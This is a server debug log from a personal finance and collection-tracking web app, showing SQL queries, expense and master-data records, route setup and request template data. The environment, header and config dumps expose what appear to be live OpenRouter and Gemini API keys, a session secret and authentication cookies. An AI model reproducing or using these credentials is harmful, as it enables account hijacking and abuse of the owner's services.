2026-05-18T06:00:48.767Z server-connect:output restrict: undefined
2026-05-18T06:00:48.767Z server-connect:app Executing action step paged
2026-05-18T06:00:48.768Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-05-18T06:00:48.768Z server-connect:output restrict: undefined
2026-05-18T06:00:48.768Z server-connect:app Executing action step select
2026-05-18T06:00:48.768Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'm_tags' },
    primary: 'id',
    joins: [],
    query: 'select `id`, `tag` from `m_tags`'
  }
}
2026-05-18T06:00:48.770Z server-connect:output list: [
  { id: 1, tag: 'Gadgets' },
  { id: 2, tag: 'Waste of money' },
  { id: 3, tag: 'Relax' },
  { id: 4, tag: 'Luxury' },
  { id: 5, tag: 'Needs' },
  { id: 6, tag: 'Swiggy' },
  { id: 7, tag: 'Zomato' },
  { id: 8, tag: 'Bills' },
  { id: 9, tag: 'EMIs' },
  { id: 10, tag: 'Blinkit' },
  { id: 11, tag: 'Instamart' }
]
2026-05-18T06:00:48.776Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 2098,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 2075 },
    current: 1,
    total: 84
  },
  data: [
    {
      invoice_number: 12549,
      quantity: '1.00',
      purchase_date: '2026-05-17T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '220.00',
      item_name: 'Petrol',
      unit: 'Other'
    },
    {
      invoice_number: 12550,
      quantity: '1.00',
      purchase_date: '2026-05-17T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '60.00',
      item_name: 'Vuno',
      unit: 'Other'
    },
    {
      invoice_number: 12539,
      quantity: '1.00',
      purchase_date: '2026-05-16T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '150.00',
      item_name: 'Doctor Fees',
      unit: 'Other'
    },
    {
      invoice_number: 12539,
      quantity: '1.00',
      purchase_date: '2026-05-16T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '250.00',
      item_name: 'Medicines',
      unit: 'Other'
    },
    {
      invoice_number: 12541,
      quantity: '2.00',
      purchase_date: '2026-05-16T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '60.00',
      item_name: 'Sugarcane Juice',
      unit: 'Glass'
    },
    {
      invoice_number: 12543,
      quantity: '1.00',
      purchase_date: '2026-05-16T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '60.00',
      item_name: 'Hakka Noodles',
      unit: 'Packet'
    },
    {
      invoice_number: 12543,
      quantity: '1.00',
      purchase_date: '2026-05-16T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '30.00',
      item_name: 'Hersheys Milk Shake',
      unit: 'Packet'
    },
    {
      invoice_number: 12543,
      quantity: '2.00',
      purchase_date: '2026-05-16T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '60.00',
      item_name: 'Korean Noodles',
      unit: 'Packet'
    },
    {
      invoice_number: 12543,
      quantity: '1.00',
      purchase_date: '2026-05-16T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '14.00',
      item_name: 'Motherdairy Masala Chach',
      unit: 'Packet'
    },
    {
      invoice_number: 12543,
      quantity: '1.00',
      purchase_date: '2026-05-16T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '19.00',
      item_name: 'Amul Lassi',
      unit: 'Packet'
    },
    {
      invoice_number: 12543,
      quantity: '1.00',
      purchase_date: '2026-05-16T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '199.00',
      item_name: 'Makhana',
      unit: 'Packet'
    },
    {
      invoice_number: 12543,
      quantity: '1.00',
      purchase_date: '2026-05-16T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '27.00',
      item_name: 'Biscuits',
      unit: 'Packet'
    },
    {
      invoice_number: 12544,
      quantity: '1.00',
      purchase_date: '2026-05-16T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '270.00',
      item_name: 'Vegetables',
      unit: 'Other'
    },
    {
      invoice_number: 12545,
      quantity: '250.00',
      purchase_date: '2026-05-16T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '110.00',
      item_name: 'Paneer',
      unit: 'GM'
    },
    {
      invoice_number: 12546,
      quantity: '200.00',
      purchase_date: '2026-05-16T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '45.00',
      item_name: 'Frozon Matar',
      unit: 'GM'
    },
    {
      invoice_number: 12547,
      quantity: '250.00',
      purchase_date: '2026-05-16T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '50.00',
      item_name: 'Kachi mungfali',
      unit: 'GM'
    },
    {
      invoice_number: 12548,
      quantity: '1.00',
      purchase_date: '2026-05-16T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '120.00',
      item_name: 'Mango Thick Shake',
      unit: 'Glass'
    },
    {
      invoice_number: 12538,
      quantity: '1.00',
      purchase_date: '2026-05-15T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '300.00',
      item_name: 'Gas Bill',
      unit: 'Other'
    },
    {
      invoice_number: 12540,
      quantity: '2.00',
      purchase_date: '2026-05-15T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '20.00',
      item_name: 'Tape',
      unit: 'Piece'
    },
    {
      invoice_number: 12540,
      quantity: '1.00',
      purchase_date: '2026-05-15T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '60.00',
      item_name: 'Color Papers',
      unit: 'Packet'
    },
    {
      invoice_number: 12540,
      quantity: '1.00',
      purchase_date: '2026-05-15T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '10.00',
      item_name: 'Eraser',
      unit: 'Piece'
    },
    {
      invoice_number: 12540,
      quantity: '1.00',
      purchase_date: '2026-05-15T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '20.00',
      item_name: 'Fevicol',
      unit: 'Piece'
    },
    {
      invoice_number: 12540,
      quantity: '2.00',
      purchase_date: '2026-05-15T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '20.00',
      item_name: 'Stickers',
      unit: 'Piece'
    },
    {
      invoice_number: 12542,
      quantity: '1.00',
      purchase_date: '2026-05-15T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '300.00',
      item_name: 'Ice Cream',
      unit: 'Other'
    },
    {
      invoice_number: 12534,
      quantity: '1.00',
      purchase_date: '2026-05-14T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    }
  ]
}
2026-05-18T06:00:50.703Z server-connect:router Serving templateView /collections
2026-05-18T06:00:50.704Z server-connect:app Executing action step identify
2026-05-18T06:00:50.704Z server-connect:app options: { provider: 'security' }
2026-05-18T06:00:50.704Z server-connect:output identity: 1
2026-05-18T06:00:50.704Z server-connect:app Executing action step restrict
2026-05-18T06:00:50.704Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-18T06:00:50.704Z server-connect:output restrict: undefined
2026-05-18T06:00:50.704Z server-connect:router Render template masters/collections
2026-05-18T06:00:50.705Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/collections',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AJhjHwWrmXNXXVxcuGPi%2B0g%3D%3D.9ETzlI4WGpv6%2FWRw5oaj7jVlhNoM8%2BRmEyHUnSwFQr7uaYLAd%2F2gEWlZ2KZ7I%2BvkEcfpPjifPhHsL8yzWpTvm3u8LlQLMHcINHdENk842zRIWRutKzXc9RzvMTDY2nLwxYKtH5MTKwrL7X0Y7TZ5xCiQmxH7PLE1r7VrNCpdkng%3D.aRjTpztkzhxjNgZSx7vHR%2BGxyecSm%2FwZI5b0%2FIgHdMA; your_r_git.sid=s%3AkeIcRQoCTG5q5mgddYpzVhJ1UZ3tjxVJ.WWrucxsutPMuYZ1Ha7A7zP1SIh6RLoCoVlPByauYUe0',
    'x-forwarded-for': '49.43.182.136',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-19T06:00:16.910Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/collections',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.182.136',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/collections',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/collections',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AJhjHwWrmXNXXVxcuGPi%2B0g%3D%3D.9ETzlI4WGpv6%2FWRw5oaj7jVlhNoM8%2BRmEyHUnSwFQr7uaYLAd%2F2gEWlZ2KZ7I%2BvkEcfpPjifPhHsL8yzWpTvm3u8LlQLMHcINHdENk842zRIWRutKzXc9RzvMTDY2nLwxYKtH5MTKwrL7X0Y7TZ5xCiQmxH7PLE1r7VrNCpdkng%3D.aRjTpztkzhxjNgZSx7vHR%2BGxyecSm%2FwZI5b0%2FIgHdMA; your_r_git.sid=s%3AkeIcRQoCTG5q5mgddYpzVhJ1UZ3tjxVJ.WWrucxsutPMuYZ1Ha7A7zP1SIh6RLoCoVlPByauYUe0',
    'HTTP_X_FORWARDED-FOR': '49.43.182.136',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-05-18T06:00:51.006Z server-connect:router Serving serverConnect /api/masters/collections/collection-category
2026-05-18T06:00:51.007Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-05-18T06:00:51.007Z server-connect:app Executing action step identify
2026-05-18T06:00:51.007Z server-connect:app options: { provider: 'security' }
2026-05-18T06:00:51.007Z server-connect:output identity: 1
2026-05-18T06:00:51.007Z server-connect:app Executing action step restrict
2026-05-18T06:00:51.007Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-18T06:00:51.008Z server-connect:app Executing action step identify
2026-05-18T06:00:51.008Z server-connect:app options: { provider: 'security' }
2026-05-18T06:00:51.008Z server-connect:output identity: 1
2026-05-18T06:00:51.008Z server-connect:app Executing action step restrict
2026-05-18T06:00:51.008Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-18T06:00:51.008Z server-connect:output restrict: undefined
2026-05-18T06:00:51.008Z server-connect:app Executing action step select
2026-05-18T06:00:51.008Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'collection_type' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `name` from `collection_type` where `collection_type`.`deleted` = ?'
  }
}
2026-05-18T06:00:51.009Z server-connect:output restrict: undefined
2026-05-18T06:00:51.009Z server-connect:app Executing action step paged
2026-05-18T06:00:51.009Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-05-18T06:00:51.010Z server-connect:output list: [
  { id: 1, name: 'Unit' },
  { id: 2, name: 'Transaction Type' },
  { id: 3, name: 'Account Type' },
  { id: 4, name: 'Loan Mode' },
  { id: 5, name: 'Account Transactions' },
  { id: 6, name: 'Trading Platform' },
  { id: 7, name: 'Loan Type' },
  { id: 8, name: 'Supplement Brand' },
  { id: 9, name: 'Diecast Brand' },
  { id: 10, name: 'Diecast Series' },
  { id: 11, name: 'Vehicle Brand' }
]
2026-05-18T06:00:51.012Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 198,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 175 },
    current: 1,
    total: 8
  },
  data: [
    {
      name: 'Account Deposit',
      id: 19,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Salary Credit',
      id: 20,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'ATM Withdrawal',
      id: 21,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Account Transfer',
      id: 22,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Credit Card Payment',
      id: 25,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Card Swipe',
      id: 26,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Direct Payment',
      id: 38,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Auto Debit',
      id: 39,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Savings',
      id: 14,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Current',
      id: 15,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Petty Cash',
      id: 18,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Credit Card',
      id: 24,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Demat',
      id: 43,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Hotwheels',
      id: 71,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Majorette',
      id: 72,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Matchbox',
      id: 73,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Bburago',
      id: 74,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Maisto',
      id: 143,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'CCA',
      id: 158,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Jams Toys',
      id: 191,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-05-18T15:13:17.343Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-18T15:13:19.552Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-18T15:13:20.416Z server-connect:setup:upload Upload middleware configured.
2026-05-18T15:13:20.417Z server-connect:secure CSRF Protection initialized
2026-05-18T15:13:20.423Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-18T15:13:20.426Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-18T15:13:20.426Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-18T15:13:20.428Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-18T15:13:20.434Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-18T15:13:20.440Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-18T15:13:20.453Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-18T15:13:20.465Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-18T15:13:20.468Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-18T15:13:20.471Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-18T15:13:20.473Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-18T15:13:20.477Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-18T15:13:20.483Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-18T15:13:20.492Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-18T15:13:20.497Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-18T15:13:20.570Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-18T15:13:20.570Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-18T15:13:20.576Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-18T15:13:20.581Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-18T15:13:20.584Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-18T15:13:20.586Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-18T15:13:20.594Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-18T15:13:20.597Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-18T15:13:20.602Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-18T15:13:20.604Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-18T15:13:20.608Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-18T15:13:20.611Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-18T15:13:20.611Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-18T15:13:20.618Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-18T15:13:20.618Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-18T15:13:20.621Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-18T15:13:20.623Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-18T15:13:20.627Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-18T15:13:20.629Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-18T15:13:20.635Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-18T15:13:20.639Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-18T15:13:20.642Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-18T15:13:20.653Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-18T15:42:47.296Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-18T15:42:47.471Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-18T15:42:47.552Z server-connect:setup:upload Upload middleware configured.
2026-05-18T15:42:47.553Z server-connect:secure CSRF Protection initialized
2026-05-18T15:42:47.555Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-18T15:42:47.555Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-18T15:42:47.557Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-18T15:42:47.557Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-18T15:42:47.558Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-18T15:42:47.559Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-18T15:42:47.560Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-18T15:42:47.560Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-18T15:42:47.563Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-18T15:42:47.563Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-18T15:42:47.564Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-18T15:42:47.564Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-18T15:42:47.564Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-18T15:42:47.565Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-18T15:42:47.565Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-18T15:42:47.565Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-18T15:42:47.565Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-18T15:42:47.566Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-18T15:42:47.566Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-18T15:42:47.566Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-18T15:42:47.567Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-18T15:42:47.567Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-18T15:42:47.567Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-18T15:42:47.567Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-18T15:42:47.568Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-18T15:42:47.568Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-18T15:42:47.568Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-18T15:42:47.568Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-18T15:42:47.569Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-18T15:42:47.569Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-18T15:42:47.569Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-18T15:42:47.569Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-18T15:42:47.569Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-18T15:42:47.570Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-18T15:42:47.570Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-18T15:42:47.570Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-18T15:42:47.570Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-18T15:42:47.570Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-18T15:42:47.670Z server-connect:router Serving templateView /
2026-05-18T15:42:47.684Z server-connect:app Executing action step identify
2026-05-18T15:42:47.684Z server-connect:app options: { provider: 'security' }
2026-05-18T15:42:47.686Z server-connect:auth No login cookie found
2026-05-18T15:42:47.686Z server-connect:output identity: false
2026-05-18T15:42:47.686Z server-connect:app Executing action step restrict
2026-05-18T15:42:47.686Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-18T15:42:47.689Z server-connect:output restrict: undefined
2026-05-18T15:42:47.822Z server-connect:router Serving templateView /login
2026-05-18T15:42:47.822Z server-connect:app Executing action step identify
2026-05-18T15:42:47.822Z server-connect:app options: { provider: 'security' }
2026-05-18T15:42:47.822Z server-connect:auth No login cookie found
2026-05-18T15:42:47.822Z server-connect:output identity: false
2026-05-18T15:42:47.822Z server-connect:router Render template layouts/authentication
2026-05-18T15:42:47.823Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
